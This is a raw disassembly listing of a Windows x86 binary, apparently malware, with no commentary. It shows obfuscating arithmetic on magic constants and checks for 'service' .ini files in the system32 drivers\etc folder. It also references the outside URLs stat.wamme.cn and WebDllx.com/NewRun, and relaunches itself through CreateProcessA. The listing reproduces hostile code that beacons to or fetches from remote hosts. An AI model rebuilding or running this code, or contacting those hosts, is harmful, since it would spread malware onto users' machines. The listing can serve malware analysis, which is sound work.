shr eax, 0x1f
push 0
add eax, edx
sub edi, eax
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x456838], edi
call fcn.0043c9aa
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov eax, 0x49f9945f
imul esi, esi, 0xe0dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x456824]
mov eax, 0x302debc5
imul ecx
sar edx, 0xe
mov edi, edx
add esi, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [str._r_____r____], edi
call fcn.0042a6ad
add esp, 8
cmp eax, 0xffffffff
je 0x4034c5
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a6ad
add esp, 8
cmp eax, 0xffffffff
jne 0x4034cc
push 0
call fcn.0042a87a
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0xa14]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4034d8
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x302debc5
imul esi
mov edi, esi
mov esi, dword [str._r_____r____]
imul edi, edi, 0xe0dd
sar edx, 0xe
sub ecx, edi
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0xa8da
add eax, ecx
sub eax, esi
add eax, 0xaaa7
push 0x132b600
mov dword [0x45681c], eax
call sym.CallDll.exe_int___cdecl_pro_cess5_int_
add esp, 4
push 0x1388
call ebx
mov ecx, dword [0x456838]
mov eax, 0x246e57b5
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, dword [0x45681c]
imul eax, eax, 0xd534
mov edx, ecx
imul edx, edx, 0x1558c
sub esi, edx
mov edx, dword [0x456824]
add esi, eax
mov eax, 0x302debc5
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0
sub esi, eax
push 0
push 0
mov eax, 0x61082f49
imul ecx
mov eax, dword [ebp + 8]
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x45680c
sar edx, 0xe
push 0
mov ecx, edx
push 0
shr ecx, 0x1f
push 1
add ecx, edx
add eax, 0x74
sub esi, ecx
push 0x68
push eax
mov dword [0x456828], esi
call fcn.0043c9aa
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x45682c]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
mov edi, dword [0x456818]
sar edx, 0xf
imul edi, edi, 0xa8da
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
mov esi, dword [0x456830]
imul edx, edx, 0x15410
sub edx, eax
mov eax, dword [0x456828]
imul eax, eax, 0x398f
add eax, esi
add eax, edx
lea edx, [edi + eax - 0x1558c]
mov dword [0x456824], edx
mov dword [ebp + 8], 0
mov edi, dword [0x456820]
imul ecx, ecx, 0x1558c
imul esi, esi, 0x8ed2
mov eax, edi
imul eax, eax, 0xdd7b
add eax, ecx
mov ecx, dword [0x45681c]
mov dword [ebp - 0xfb0], eax
mov eax, 0x47298a5
imul ecx
mov ecx, dword [ebp - 0xfb0]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x3e12562b
imul edi
sar edx, 0xe
add ecx, esi
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
push 0x2710
mov byte [ebp - 4], 2
mov dword [0x45682c], eax
call ebx
mov eax, dword [ebp + 8]
cdq
mov ecx, 0x1e
idiv ecx
test edx, edx
jne 0x4036cc
push edx
call fcn.0040b330
add esp, 4
jmp 0x4036cc
mov eax, dword [ebp + 8]
mov esi, dword [0x456830]
mov ecx, dword [0x45682c]
inc eax
mov dword [ebp - 4], 1
mov dword [ebp + 8], eax
jmp 0x403640
mov ecx, dword [0x45682c]
mov eax, 0x99b19d5b
imul ecx
mov ebx, dword [0x456830]
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xf
imul ecx, ecx, 0x15410
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
sub ecx, eax
imul edx, edx, 0x398f
mov eax, dword [0x456818]
imul eax, eax, 0xa8da
add edx, ebx
add edx, ecx
lea ecx, [eax + edx - 0x1558c]
push 0x493e0
mov dword [0x456824], ecx
call edi
push 0
call fcn.0042a87a
push 0x200
lea edx, [ebp - 0xa14]
xor eax, eax
push edx
mov ecx, 0x11
lea edi, [ebp - 0xffc]
rep stosd dword es:[edi], eax
push eax
mov dword [ebp - 0xffc], 0x44
mov dword [ebp - 0xfd0], 1
mov word [ebp - 0xfcc], 5
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x100c]
push eax
lea ecx, [ebp - 0xffc]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea edx, [ebp - 0xa14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 0x403747
ret